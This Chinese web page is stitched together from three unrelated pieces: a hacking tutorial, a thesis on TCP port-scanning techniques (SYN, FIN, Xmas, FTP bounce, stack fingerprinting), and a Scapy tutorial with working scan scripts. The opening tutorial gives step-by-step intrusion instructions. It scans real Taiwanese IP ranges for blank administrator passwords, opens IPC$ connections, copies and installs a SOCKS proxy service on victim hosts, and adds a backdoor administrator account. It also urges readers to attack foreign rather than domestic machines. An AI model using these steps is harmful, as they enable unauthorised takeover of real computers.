端口扫描程序的设计与实现_简单的端口扫描课程设计

hacker|
158

端口扫描、跳板的详细教程!

特别提醒:千万不要做国内的主机啊!做日本或者阿扁(台湾)吧,这样既不违反 我们国家的法律,也体现了自己的爱国心,哈哈(摘录别人的话),不过最好还是老老实实的做跳板,不要总是去想着做什么坏事。 千万不要用国内的主机做试验啊,否则等着警车来接你啦 怎样制作代理跳板 说明:(1)这篇文章是我自己做跳板的一点体会,是些给那些从来没有做过跳板的网友看的。做过跳板的网友就不用看了。 (2)本文讲述的是做跳板最简单,最基础的方法,仅仅是给新手提供一个思路,一些稍微复杂的方法比如unicode,CGI等等这里不讲。 (3)做跳板毕竟算是一种入侵行为,有了跳板和肉鸡以后,千万要用在该用的地方,不要刻意去“黑“别人啊!! 准备工作: 做一件事情,至少需要两个方面的准备工作:相关的基础知识和做这件事情的工具。 基本的工具:(1)x-scan v1.3:强大的漏洞扫描工具,对于初学者来说非常好的一个工具。我们主要用他来扫描一些基本的漏洞(主要是NT弱密码),用法在后面会具体说。(其实流光很不错的,但是我觉得流光再扫NT弱密码的时候太烦了) (2)superscan:非常快速的端口扫描工具,可以在很短的时间里发现某个IP域上IP的分布。为什么用他呢?主要是避免盲目扫描,提高效率:某个 IP域上IP地址的分布不是连续的,也许他从xxx.xxx.0.0-xxx.xxx.50.255上每个IP都是有计算机存在的,而从 xxx.xxx.51.0- xxx.xxx.100.255每个IP都没有计算机存在。如果你事先不知道这一段上根本没有主机的话,花了很长时间去扫描也不会有结果,浪费时间和金钱 啊。 (3)fluxay 4.0:大名鼎鼎的扫描工具,我们主要用它的NT管道命令功能来连接目标主机,以及添加用户、远程启动服务等。注意了:最好是fluxay 4.0版本。 (4)windows2000下的c:\命令提示符工具:也就是说,跳板的制作至少是要在windows2000以上的操作系统下进行。 (5)sksockserver.exe:做跳板的主角,就是用它来实现远程主机的socks5代理功能的。 (6)全球IP地址分配表:这个对于高手来说是不必要的,用他的目的是考虑到很多以前没有做过跳板的网友对IP的分布不了解,我们主要的目标还是国外的主 机,因此对国外的IP分布有一些了解是很重要的,也是以后我们选定所要扫描的IP域的主要根据。这样的话,就省得再去用“追捕”软件查找IP的实际所在地 了。 好了工具准备完了,现在了解一下做跳板的大概过程。 注意:刚才你下载的这些东东不是放在你的硬盘上!放在什么地方呢?放在“肉鸡”上! 就是说我们做跳板的过程是在肉鸡上完成的。 名词解释肉鸡:肉鸡是开了3389端口微软终端服务(microsoft terminal service),又有弱密码的高速服务器,俗称“肉鸡”。我们之所以要在肉鸡上做,是出于安全考虑,因为做跳板毕竟是一种非法入侵行为,我们需要隐藏自 己的踪迹,当然,不想用肉鸡也可以,前提是你有足够的带宽,而且不怕公安上门找你麻烦。(当然,进入肉鸡本身也是一种非法的入侵)。我们用 mstsc.exe这个软件登陆上肉鸡,就可以像平时我们在自己电脑上一样用鼠标控制远程的服务器(也就是肉鸡)做我们要做的事情。 过程:为了叙述的方便,先假设我们已经有了一个肉鸡。下面的步骤没有特殊说明都是在“肉 鸡”上完成的。 (1) 先在自己的机器上打开全球IP地址分配表,选取一个IP区域 (2) 登陆上肉鸡,把刚才说到的工具在肉鸡上下载好,就用肉鸡自己的IE下载就行了。 (3) 主要的过程是:先用superscan扫描(1)选定的IP区域,找到其中一个IP很集中的区域,然后放到x-scan进行漏洞扫描(因为是面对以前没有 做过跳板的网友,所以这里只介绍用NT弱密码制作跳板),找到若干个有弱密码的IP,把sksockserver.exe上传到目标主机上,然后远程启动 sksockserver。这样,跳板就做好了。 我们一起来实践一下,做一个跳板: (1) 刚才说过了,没有肉鸡做跳板是不行的,尤其是拨号上网的网友(速度慢)。我们首先登陆上一个已经知道的肉鸡:xxx.xxx.xxx.xxx。帮刚才上面 提到的东东都准备好。最好是集中放置,这样便于我们使用。不要到处乱放,否则主人一进来就知道有人进过他的机器。 (2) 我们选择210.85.0.0-210.85.50.255这一段IP(台湾),放在superscan里面去,把superscan的端口设置改成只有 80一个端口,然后确定,开始扫描。这时,在下面的输出框里面,就会出现一大批的活跃IP,看见了吗?210.85.0.0-210.85.40.255 这一段上都是活跃的IP。现在我们随便选一个IP区域,比如我们就选210.85.0.0-210.85.5.255这一段,不要太长,因为下一步我们要 把他们放进x-scan进行扫描,x-scan扫描速度并不是很快,太多的话,会降低效率,而且IP区域过长的话,有可能使x-scan出现误报。 x-scan的使用方法这里就不详细叙述了这里要做的就是:在“设置”菜单里,先选“扫描模块”,选择“开放端口”和“NT弱密码”两个选项,在“扫描参 数”里,填上我们刚才选定的IP范围:210.85.0.0-210.85.5.255,接着,在其中“端口相关设置”里,把原先一长串的端口去掉,只填 上80,3389两个端口,其他的设置就用默认的好了,不用再改了。然后就开始搜索,这需要大概你8、9分钟的时间(因为x-scan虽然简单,但是速度慢),这段时间你大可以做一点自己的其他事情,等时间差不多了,你再看看x-scan里面的结果:好的,N个机器的密码为空,这下子有收获了!但是要说的 是,x-scan有一些误报,大家一定要有耐心去试啊! (3) 我们随便从中间随便选了一个,比如:210.85.0.14:administrator 空。接下来的事情, 是要验证它到底接不接受我们的连接,密码是不是正确。现在用到流光了,打开流光,选择“工具”里面的“NT管道远程命令”,出现对话框,把刚才的IP,用户名,密码填进去,然后回车。在界面上“NTCMD”提示符后面打入CMD,连接成功,屏幕上出现了“C:\WINNT\ SYSTEM32”的提示符。这证明,刚才的用户名和密码是正确的,这台机器已经基本是你的了。好了,我们进去了,想想我们要做什么呢?对了,是做跳板,我们还要把sksockserver.exe放到210.85.0.14上,这样才能启动服务,让这台机器做为跳板!怎么把这个东东放上去呢: 调出肉鸡上的CMD,在命令提示符下按下面的方法做: c:\net use \\210.85.0.14\ipc$ “”/user:“administrator”(建立IPC连接) 系统提示:命令成功完成。 Copy c:\sksockserver.exe \\210.85.0.14\admin$ 系统提示:成功复制一个文件。 这样我们就成功地把sksockserver.exe传到了目标主机上。接下来的任务就是把他远程启动就行了。 我们又回到刚才流光的NTCMD里,在提示符下按下面的方法做: c:\sksockserver –install 系统提示:snake sockproxy service installed c:\sksockserver –config port 1949(端口自己来定,这里的1949是随便选的) 系统提示:the port value have set to 1949 c:\sksockserver –config starttype 2 系统提示:the starttype have set to 2---auto c:\net start skserver 系统提示服务启动成功。 这个时候,这台机器已经成为你的跳板了。 下面简单的说一说自己找肉鸡的方法。 工具:(1)sockscap:强大的socks代理调度软件。 (2)snake的代理跳板GUI(图形界面程序) (3)mstsc:微软terminal service终端服务的客户端程序。用于登陆3389肉 鸡。有了它,我们就可以象控制自己的机器一样控制终端服务器,做我们的事情了。 其实前面两个都是附属的工具,只有mstsc才是真正唱主角的。 Sockscap和sksockserver GUI配合实现实现跳板的使用,可以隐藏我们的 入侵痕迹。 我们现在还没有肉鸡,那么一切事情都只能在我们自己的机器上做了,如果你不放心的话 可以到网吧去做下面的事情。 但是,要提醒的是,千万不要做国内的主机啊!做日本或者阿扁(台湾)吧,这样既不违反 我们国家的法律,也体现了自己的爱国心,哈哈(摘录别人的话),不过最好还是老老实实 的做跳板,不要总是去想着做什么坏事。 步骤其实跟做跳板也很相似的。刚才我们在x-scan搜索的端口里设置了3389,如果一台机 器开了3389端口,而且有了弱密码的话,那这样的机器就是所谓的“肉鸡”了。(当然输入 法漏洞有的时候也可以做成肉鸡,但是毕竟现在有输入法漏洞的机器太少了,远远不及有弱 密码的终端服务器那么多,所以我们还是选择了后者,而且输入法漏洞只适合国内机器。一 个一个去试验,真是太浪费时间了!会烦死的。) 具体搜索过程跟刚才在作跳板里是一样的,找到一个开了3389端口服务,而且有弱密码的 机器。我们在上面搜索的结果中仔细地看看,终于发现了一台:210.85.2.84:frank41:空。而 且开了3389服务。要把这台机器变成自己地机器那肯定要有自己的登录名,否则每次总是 用别人的,那还怎么叫是自己的机器?我们现在来为自己添加一个用户名,把自己提升成为 root权限,那么我们就可以做任何事情了。打开流光,选择“工具”里面的“NT管道命令” 填上刚才得到的用户名跟密码:frank41:空。然后确定,进入NTCMD界面,在提示符下 键入:CMD,连接成功以后在系统提示符下如下操作: c:\net user admin /add(添加一个admin用户) c:\net user admin shonline788(使得admin的密码是shonline788) c:\net localgroup administrators admin /add(把用户admin提升为administrator即管理员身份) 这样我们就成功的在这台机器中取得了root权限,可以作任何事情了,但是别做坏事噢。 下一步,就要用上我们刚才准备的这些工具了。在网上搞几个socks代理,把sockscap和 sksockserverGUI设置好,把mstsc的图标拖到sockscap里去,双击mstsc的图标,在其中填 上你刚才找到的肉鸡IP:210.85.2.84,然后回车进行连接。成功以后,会出现一个跟我们平 时登陆windows2000时候一样的一个蓝色的界面,在里面填上我们刚才添加的用户名和密 码,回车登陆。登陆成功以后就会出现该主机的图形界面,这个时候你就可以象操作自己的 机器一样,操作别人的机器。至此,你已经获得了一台肉鸡。就可以做我们上面做过的事情 了。

毕业论文 基于TCP/IP三次握手的端口扫描技术

基于TCP/IP 端口扫描技术

[摘要] 本文讲述了TCP联接的建立过程,以及介绍了一些经典的扫描器以及所谓的SYN扫描器的使用,以及隐藏攻击源的技术,最好介绍了另外一些扫描技术。考虑了一些不是基于TCP端口和主要用来进行安全扫描的扫描工具(例如SATAN)。另外分析了使用扫描器的栈指纹。栈指纹通过检测主机TCP并将应答跟已知操作系统TCP/IP协议栈应答相比较,解决了识别操作系统的问题。 关键字:

TCP/IP,UDP,三阶段握手,SYN扫描,FIN扫描,秘密扫描,间接扫描,诱骗扫描,指纹,协作扫描。

--------------------------------------------------------------------------------

正文:

端口扫描技术

前言

第一部分,我们讲述TCP连接的建立过程(通常称作三阶段握手),然后讨论与扫描程序有关的一些实现细节。

然后,简单介绍一下经典的扫描器(全连接)以及所谓的SYN(半连接)扫描器。

第三部分主要讨论间接扫描和秘密扫描,还有隐藏攻击源的技术。

秘密扫描基于FIN段的使用。在大多数实现中,关闭的端口对一个FIN 段返回一个RST,但是打开的端口通常丢弃这个段,不作任何回答。间接扫描,就像它的名字,是用一个欺骗主机来帮助实施,这台主机通常不是自愿的。

第四部分介绍了一种与应用协议有关扫描。这些扫描器通常利用协议实现中的一些缺陷或者错误。认证扫描(ident scanning)也被成为代理扫描(proxy scanning)。

最后一部分,介绍了另外一些扫描技术。考虑了一些不是基于TCP端口和主要用来进行安全扫描的扫描工具(例如SATAN)。另外分析了使用扫描器的栈指纹。栈指纹通过检测主机TCP并将应答跟已知操作系统TCP/IP协议栈应答相比较,解决了识别操作系统的问题。

一:TCP/IP相关问题

连接端及标记

IP地址和端口被称作套接字,它代表一个TCP连接的一个连接端。为了获得TCP服务,必须在发送机的一个端口上和接收机的一个端口上建立连接。TCP连接用两个连接端来区别,也就是(连接端1,连接端2)。连接端互相发送数据包。

一个TCP数据包包括一个TCP头,后面是选项和数据。一个TCP头包含6个标志位。它们的意义分别为:

SYN: 标志位用来建立连接,让连接双方同步序列号。如果SYN=1而ACK=0,则表示该数据包为连接请求,如果SYN=1而ACK=1则表示接受连接。

FIN: 表示发送端已经没有数据要求传输了,希望释放连接。

RST: 用来复位一个连接。RST标志置位的数据包称为复位包。一般情况下,如果TCP收到的一个分段明显不是属于该主机上的任何一个连接,则向远端发送一个复位包。

URG: 为紧急数据标志。如果它为1,表示本数据包中包含紧急数据。此时紧急数据指针有效。

ACK: 为确认标志位。如果为1,表示包中的确认号时有效的。否则,包中的确认号无效。

PSH: 如果置位,接收端应尽快把数据传送给应用层。

TCP连接的建立

TCP是一个面向连接的可靠传输协议。面向连接表示两个应用端在利用TCP传送数据前必须先建立TCP连接。 TCP的可靠性通过校验和,定时器,数据序号和应答来提供。通过给每个发送的字节分配一个序号,接收端接收到数据后发送应答,TCP协议保证了数据的可靠传输。数据序号用来保证数据的顺序,剔除重复的数据。在一个TCP会话中,有两个数据流(每个连接端从另外一端接收数据,同时向对方发送数据),因此在建立连接时,必须要为每一个数据流分配ISN(初始序号)。为了了解实现过程,我们假设客户端C希望跟服务器端S建立连接,然后分析连接建立的过程(通常称作三阶段握手):

1: C --SYN XXà S

2: C ?-SYN YY/ACK XX+1------- S

3: C ----ACK YY+1--à S

1:C发送一个TCP包(SYN 请求)给S,其中标记SYN(同步序号)要打开。SYN请求指明了客户端希望连接的服务器端端口号和客户端的ISN(XX是一个例子)。

2:服务器端发回应答,包含自己的SYN信息ISN(YY)和对C的SYN应答,应答时返回下一个希望得到的字节序号(YY+1)。

3:C 对从S 来的SYN进行应答,数据发送开始。

一些实现细节

大部分TCP/IP实现遵循以下原则:

1:当一个SYN或者FIN数据包到达一个关闭的端口,TCP丢弃数据包同时发送一个RST数据包。

2:当一个RST数据包到达一个监听端口,RST被丢弃。

3:当一个RST数据包到达一个关闭的端口,RST被丢弃。

4:当一个包含ACK的数据包到达一个监听端口时,数据包被丢弃,同时发送一个RST数据包。

5:当一个SYN位关闭的数据包到达一个监听端口时,数据包被丢弃。

6:当一个SYN数据包到达一个监听端口时,正常的三阶段握手继续,回答一个SYN ACK数据包。

7:当一个FIN数据包到达一个监听端口时,数据包被丢弃。"FIN行为"(关闭得端口返回RST,监听端口丢弃包),在URG和PSH标志位置位时同样要发生。所有的URG,PSH和FIN,或者没有任何标记的TCP数据包都会引起"FIN行为"。

二:全TCP连接和SYN扫描器

全TCP连接

全TCP连接是长期以来TCP端口扫描的基础。扫描主机尝试(使用三次握手)与目的机指定端口建立建立正规的连接。连接由系统调用connect()开始。对于每一个监听端口,connect()会获得成功,否则返回-1,表示端口不可访问。由于通常情况下,这不需要什么特权,所以几乎所有的用户(包括多用户环境下)都可以通过connect来实现这个技术。

这种扫描方法很容易检测出来(在日志文件中会有大量密集的连接和错误记录)。Courtney,Gabriel和TCP Wrapper监测程序通常用来进行监测。另外,TCP Wrapper可以对连接请求进行控制,所以它可以用来阻止来自不明主机的全连接扫描。

TCP SYN扫描

在这种技术中,扫描主机向目标主机的选择端口发送SYN数据段。如果应答是RST,那么说明端口是关闭的,按照设定就探听其它端口;如果应答中包含SYN和ACK,说明目标端口处于监听状态。由于所有的扫描主机都需要知道这个信息,传送一个RST给目标机从而停止建立连接。由于在SYN扫描时,全连接尚未建立,所以这种技术通常被称为半打开扫描。SYN扫描的优点在于即使日志中对扫描有所记录,但是尝试进行连接的记录也要比全扫描少得多。缺点是在大部分操作系统下,发送主机需要构造适用于这种扫描的IP包,通常情况下,构造SYN数据包需要超级用户或者授权用户访问专门的系统调用。

三:秘密扫描与间接扫描

秘密扫描技术

由于这种技术不包含标准的TCP三次握手协议的任何部分,所以无法被记录下来,从而必SYN扫描隐蔽得多。另外,FIN数据包能够通过只监测SYN包的包过滤器。

秘密扫描技术使用FIN数据包来探听端口。当一个FIN数据包到达一个关闭的端口,数据包会被丢掉,并且回返回一个RST数据包。否则,当一个FIN数据包到达一个打开的端口,数据包只是简单的丢掉(不返回RST)。

Xmas和Null扫描是秘密扫描的两个变种。Xmas扫描打开FIN,URG和PUSH标记,而Null扫描关闭所有标记。这些组合的目的是为了通过所谓的FIN标记监测器的过滤。

秘密扫描通常适用于UNIX目标主机,除过少量的应当丢弃数据包却发送reset信号的操作系统(包括CISCO,BSDI,HP/UX,MVS和IRIX)。在Windows95/NT环境下,该方法无效,因为不论目标端口是否打开,操作系统都发送RST。

跟SYN扫描类似,秘密扫描也需要自己构造IP 包。

间接扫描

间接扫描的思想是利用第三方的IP(欺骗主机)来隐藏真正扫描者的IP。由于扫描主机会对欺骗主机发送回应信息,所以必须监控欺骗主机的IP行为,从而获得原始扫描的结果。间接扫描的工作过程如下:

假定参与扫描过程的主机为扫描机,隐藏机,目标机。扫描机和目标记的角色非常明显。隐藏机是一个非常特殊的角色,在扫描机扫描目的机的时候,它不能发送任何数据包(除了与扫描有关的包)。

四:认证扫描和代理扫描

认证扫描

到目前为止,我们分析的扫描器在设计时都只有一个目的:判断一个主机中哪个端口上有进程在监听。然而,最近的几个新扫描器增加了其它的功能,能够获取监听端口的进程的特征和行为。

认证扫描是一个非常有趣的例子。利用认证协议,这种扫描器能够获取运行在某个端口上进程的用户名(userid)。认证扫描尝试与一个TCP端口建立连接,如果连接成功,扫描器发送认证请求到目的主机的113TCP端口。认证扫描同时也被成为反向认证扫描,因为即使最初的RFC建议了一种帮助服务器认证客户端的协议,然而在实际的实现中也考虑了反向应用(即客户端认证服务器)。

代理扫描

文件传输协议(FTP)支持一个非常有意思的选项:代理ftp连接。这个选项最初的目的(RFC959)是允许一个客户端同时跟两个FTP服务器建立连接,然后在服务器之间直接传输数据。然而,在大部分实现中,实际上能够使得FTP服务器发送文件到Internet的任何地方。许多攻击正是利用了这个缺陷。最近的许多扫描器利用这个弱点实现ftp代理扫描。

ftp端口扫描主要使用ftp代理服务器来扫描tcp端口。扫描步骤如下:

1:假定S是扫描机,T是扫描目标,F是一个ftp服务器,这个服务器支持代理选项,能够跟S和T建立连接。

2:S与F建立一个ftp会话,使用PORT命令声明一个选择的端口(称之为p-T)作为代理传输所需要的被动端口。

3:然后S使用一个LIST命令尝试启动一个到p-T的数据传输。

4:如果端口p-T确实在监听,传输就会成功(返回码150和226被发送回给S)。否则S回收到"425无法打开数据连接"的应答。

5:S持续使用PORT和LIST命令,直到T上所有的选择端口扫描完毕。

FTP代理扫描不但难以跟踪,而且当ftp服务器在_blank"防火墙后面的时候

五:其它扫描方法

Ping扫描

如果需要扫描一个主机上甚至整个子网上的成千上万个端口,首先判断一个主机是否开机就非常重要了。这就是Ping扫描器的目的。主要由两种方法用来实现Ping扫描。

1:真实扫描:例如发送ICMP请求包给目标IP地址,有相应的表示主机开机。

2:TCP Ping:例如发送特殊的TCP包给通常都打开且没有过滤的端口(例如80端口)。对于没有root权限的扫描者,使用标准的connect来实现。否则,ACK数据包发送给每一个需要探测的主机IP。每一个返回的RST表明相应主机开机了。另外,一种类似于SYN扫描端口80(或者类似的)也被经常使用。

安全扫描器

安全扫描器是用来自动检查一个本地或者远程主机的安全漏洞的程序。象其它端口扫描器一样,它们查询端口并记录返回结果。但是它们。它们主要要解决以下问题:

1:是否允许匿名登录。

2:是否某种网络服务需要认证。

3:是否存在已知安全漏洞。

可能SATAN是最著名的安全扫描器。1995年四月SATAN最初发布的时候,人们都认为这就是它的最终版本,认为它不但能够发现相当多的已知漏洞,而且能够针对任何很难发现的漏洞提供信息。但是,从它发布以来,安全扫描器一直在不断地发展,其实现机制也越来越复杂。

栈指纹

绝大部分安全漏洞与缺陷都与操作系统相关,因此远程操作系统探测是系统管理员关心的一个问题。

远程操作系统探测不是一个新问题。近年来,TCP/IP实现提供了主机操作系统信息服务。FTP,TELNET,HTTP和DNS服务器就是很好的例子。然而,实际上提供的信息都是不完整的,甚至有可能是错误的。最初的扫描器,依靠检测不同操作系统对TCP/IP的不同实现来识别操作系统。由于差别的有限性,现在只能最多只能识别出10余种操作系统。

最近出现的两个扫描器,QueSO和NMAP,在指纹扫描中引入了新的技术。 QueSO第一个实现了使用分离的数据库于指纹。NMAP包含了很多的操作系统探测技术,定义了一个模板数据结构来描述指纹。由于新的指纹可以很容易地以模板的形式加入,NMAP指纹数据库是不断增长的,它能识别的操作系统也越来越多。

这种使用扫描器判断远程操作系统的技术称为(TCP/IP)栈指纹技术。

另外有一种技术称为活动探测。活动探测把TCP的实现看作一个黑盒子。通过研究TCP对探测的回应,就可以发现 TCP实现的特点。TCP/IP 栈指纹技术是活动探测的一个变种,它适用于整个TCP/IP协议的实现和操作系统。栈指纹使用好几种技术来探测TCP/IP协议栈和操作系统的细微区别。这些信息用来创建一个指纹,然后跟已知的指纹进行比较,就可以判断出当前被扫描的操作系统。

栈指纹扫描包含了相当多的技术。下面是一个不太完整的清单:

1:FIN探测

2:BOGUS标记探测

3:TCP ISN 取样

4:TCP 初始窗口

5:ACK值

6:ICMP错误信息

7:ICMP信息

8:服务类型

9:TCP选项

如何用Scapy写一个端口扫描器

常见的端口扫描类型有:

1. TCP 连接扫描

2. TCP SYN 扫描(也称为半开放扫描或stealth扫描)

3. TCP 圣诞树(Xmas Tree)扫描

4. TCP FIN 扫描

5. TCP 空扫描(Null)

6. TCP ACK 扫描

7. TCP 窗口扫描

8. UDP 扫描

下面先讲解每种扫描的原理,随后提供具体实现代码。

TCP 连接扫描

客户端与服务器建立 TCP 连接要进行一次三次握手,如果进行了一次成功的三次握手,则说明端口开放。

客户端想要连接服务器80端口时,会先发送一个带有 SYN 标识和端口号的 TCP 数据包给服务器(本例中为80端口)。如果端口是开放的,则服务器会接受这个连接并返回一个带有 SYN 和 ACK 标识的数据包给客户端。随后客户端会返回带有 ACK 和 RST 标识的数据包,此时客户端与服务器建立了连接。如果完成一次三次握手,那么服务器上对应的端口肯定就是开放的。

当客户端发送一个带有 SYN 标识和端口号的 TCP 数据包给服务器后,如果服务器端返回一个带 RST 标识的数据包,则说明端口处于关闭状态。

代码:

#! /usr/bin/python

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *

dst_ip = "10.0.0.1"

src_port = RandShort()

dst_port=80

tcp_connect_scan_resp = sr1(IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="S"),timeout=10)

if(str(type(tcp_connect_scan_resp))=="type 'NoneType'"):

print "Closed"

elif(tcp_connect_scan_resp.haslayer(TCP)):

if(tcp_connect_scan_resp.getlayer(TCP).flags == 0x12):

send_rst = sr(IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="AR"),timeout=10)

print "Open"

elif (tcp_connect_scan_resp.getlayer(TCP).flags == 0x14):

print "Closed"

TCP SYN 扫描

这个技术同 TCP 连接扫描非常相似。同样是客户端向服务器发送一个带有 SYN 标识和端口号的数据包,如果目标端口开发,则会返回带有 SYN 和 ACK 标识的 TCP 数据包。但是,这时客户端不会返回 RST+ACK 而是返回一个只带有 RST 标识的数据包。这种技术主要用于躲避防火墙的检测。

如果目标端口处于关闭状态,那么同之前一样,服务器会返回一个 RST 数据包。

代码:

#! /usr/bin/python

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *

dst_ip = "10.0.0.1"

src_port = RandShort()

dst_port=80

stealth_scan_resp = sr1(IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="S"),timeout=10)

if(str(type(stealth_scan_resp))=="type 'NoneType'"):

print "Filtered"

elif(stealth_scan_resp.haslayer(TCP)):

if(stealth_scan_resp.getlayer(TCP).flags == 0x12):

send_rst = sr(IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="R"),timeout=10)

print "Open"

elif (stealth_scan_resp.getlayer(TCP).flags == 0x14):

print "Closed"

elif(stealth_scan_resp.haslayer(ICMP)):

if(int(stealth_scan_resp.getlayer(ICMP).type)==3 and int(stealth_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):

print "Filtered"

TCP 圣诞树(Xmas Tree)扫描

在圣诞树扫描中,客户端会向服务器发送带有 PSH,FIN,URG 标识和端口号的数据包给服务器。如果目标端口是开放的,那么不会有任何来自服务器的回应。

如果服务器返回了一个带有 RST 标识的 TCP 数据包,那么说明端口处于关闭状态。

但如果服务器返回了一个 ICMP 数据包,其中包含 ICMP 目标不可达错误类型3以及 ICMP 状态码为1,2,3,9,10或13,则说明目标端口被过滤了无法确定是否处于开放状态。

代码:

#! /usr/bin/python

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *

dst_ip = "10.0.0.1"

src_port = RandShort()

dst_port=80

xmas_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=dst_port,flags="FPU"),timeout=10)

if (str(type(xmas_scan_resp))=="type 'NoneType'"):

print "Open|Filtered"

elif(xmas_scan_resp.haslayer(TCP)):

if(xmas_scan_resp.getlayer(TCP).flags == 0x14):

print "Closed"

elif(xmas_scan_resp.haslayer(ICMP)):

if(int(xmas_scan_resp.getlayer(ICMP).type)==3 and int(xmas_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):

print "Filtered"

TCP FIN扫描

FIN 扫描会向服务器发送带有 FIN 标识和端口号的 TCP 数据包。如果没有服务器端回应则说明端口开放。

如果服务器返回一个 RST 数据包,则说明目标端口是关闭的。

如果服务器返回了一个 ICMP 数据包,其中包含 ICMP 目标不可达错误类型3以及 ICMP 代码为1,2,3,9,10或13,则说明目标端口被过滤了无法确定端口状态。

代码:

#! /usr/bin/python

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *

dst_ip = "10.0.0.1"

src_port = RandShort()

dst_port=80

fin_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=dst_port,flags="F"),timeout=10)

if (str(type(fin_scan_resp))=="type 'NoneType'"):

print "Open|Filtered"

elif(fin_scan_resp.haslayer(TCP)):

if(fin_scan_resp.getlayer(TCP).flags == 0x14):

print "Closed"

elif(fin_scan_resp.haslayer(ICMP)):

if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):

print "Filtered"

TCP 空扫描(Null)

在空扫描中,客户端发出的 TCP 数据包仅仅只会包含端口号而不会有其他任何的标识信息。如果目标端口是开放的则不会回复任何信息。

如果服务器返回了一个 RST 数据包,则说明目标端口是关闭的。

如果返回 ICMP 错误类型3且代码为1,2,3,9,10或13的数据包,则说明端口被服务器过滤了。

代码:

#! /usr/bin/python

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *

dst_ip = "10.0.0.1"

src_port = RandShort()

dst_port=80

null_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=dst_port,flags=""),timeout=10)

if (str(type(null_scan_resp))=="type 'NoneType'"):

print "Open|Filtered"

elif(null_scan_resp.haslayer(TCP)):

if(null_scan_resp.getlayer(TCP).flags == 0x14):

print "Closed"

elif(null_scan_resp.haslayer(ICMP)):

if(int(null_scan_resp.getlayer(ICMP).type)==3 and int(null_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):

print "Filtered"

TCP ACK扫描

ACK 扫描不是用于发现端口开启或关闭状态的,而是用于发现服务器上是否存在有状态防火墙的。它的结果只能说明端口是否被过滤。再次强调,ACK 扫描不能发现端口是否处于开启或关闭状态。

客户端会发送一个带有 ACK 标识和端口号的数据包给服务器。如果服务器返回一个带有 RST 标识的 TCP 数据包,则说明端口没有被过滤,不存在状态防火墙。

如果目标服务器没有任何回应或者返回ICMP 错误类型3且代码为1,2,3,9,10或13的数据包,则说明端口被过滤且存在状态防火墙。

#! /usr/bin/python

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *

dst_ip = "10.0.0.1"

src_port = RandShort()

dst_port=80

ack_flag_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=dst_port,flags="A"),timeout=10)

if (str(type(ack_flag_scan_resp))=="type 'NoneType'"):

print "Stateful firewall presentn(Filtered)"

elif(ack_flag_scan_resp.haslayer(TCP)):

if(ack_flag_scan_resp.getlayer(TCP).flags == 0x4):

print "No firewalln(Unfiltered)"

elif(ack_flag_scan_resp.haslayer(ICMP)):

if(int(ack_flag_scan_resp.getlayer(ICMP).type)==3 and int(ack_flag_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):

print "Stateful firewall presentn(Filtered)"

TCP窗口扫描

TCP 窗口扫描的流程同 ACK 扫描类似,同样是客户端向服务器发送一个带有 ACK 标识和端口号的 TCP 数据包,但是这种扫描能够用于发现目标服务器端口的状态。在 ACK 扫描中返回 RST 表明没有被过滤,但在窗口扫描中,当收到返回的 RST 数据包后,它会检查窗口大小的值。如果窗口大小的值是个非零值,则说明目标端口是开放的。

如果返回的 RST 数据包中的窗口大小为0,则说明目标端口是关闭的。

代码:

#! /usr/bin/python

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *

dst_ip = "10.0.0.1"

src_port = RandShort()

dst_port=80

window_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=dst_port,flags="A"),timeout=10)

if (str(type(window_scan_resp))=="type 'NoneType'"):

print "No response"

elif(window_scan_resp.haslayer(TCP)):

if(window_scan_resp.getlayer(TCP).window == 0):

print "Closed"

elif(window_scan_resp.getlayer(TCP).window 0):

print "Open"

UDP扫描

TCP 是面向连接的协议,而UDP则是无连接的协议。

面向连接的协议会先在客户端和服务器之间建立通信信道,然后才会开始传输数据。如果客户端和服务器之间没有建立通信信道,则不会有任何产生任何通信数据。

无连接的协议则不会事先建立客户端和服务器之间的通信信道,只要客户端到服务器存在可用信道,就会假设目标是可达的然后向对方发送数据。

客户端会向服务器发送一个带有端口号的 UDP 数据包。如果服务器回复了 UDP 数据包,则目标端口是开放的。

如果服务器返回了一个 ICMP 目标不可达的错误和代码3,则意味着目标端口处于关闭状态。

如果服务器返回一个 ICMP 错误类型3且代码为1,2,3,9,10或13的数据包,则说明目标端口被服务器过滤了。

但如果服务器没有任何相应客户端的 UDP 请求,则可以断定目标端口可能是开放或被过滤的,无法判断端口的最终状态。

代码:

#! /usr/bin/python

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *

dst_ip = "10.0.0.1"

src_port = RandShort()

dst_port=53

dst_timeout=10

def udp_scan(dst_ip,dst_port,dst_timeout):

udp_scan_resp = sr1(IP(dst=dst_ip)/UDP(dport=dst_port),timeout=dst_timeout)

if (str(type(udp_scan_resp))=="type 'NoneType'"):

retrans = []

for count in range(0,3):

retrans.append(sr1(IP(dst=dst_ip)/UDP(dport=dst_port),timeout=dst_timeout))

for item in retrans:

if (str(type(item))!="type 'NoneType'"):

udp_scan(dst_ip,dst_port,dst_timeout)

return "Open|Filtered"

elif (udp_scan_resp.haslayer(UDP)):

return "Open"

elif(udp_scan_resp.haslayer(ICMP)):

if(int(udp_scan_resp.getlayer(ICMP).type)==3 and int(udp_scan_resp.getlayer(ICMP).code)==3):

return "Closed"

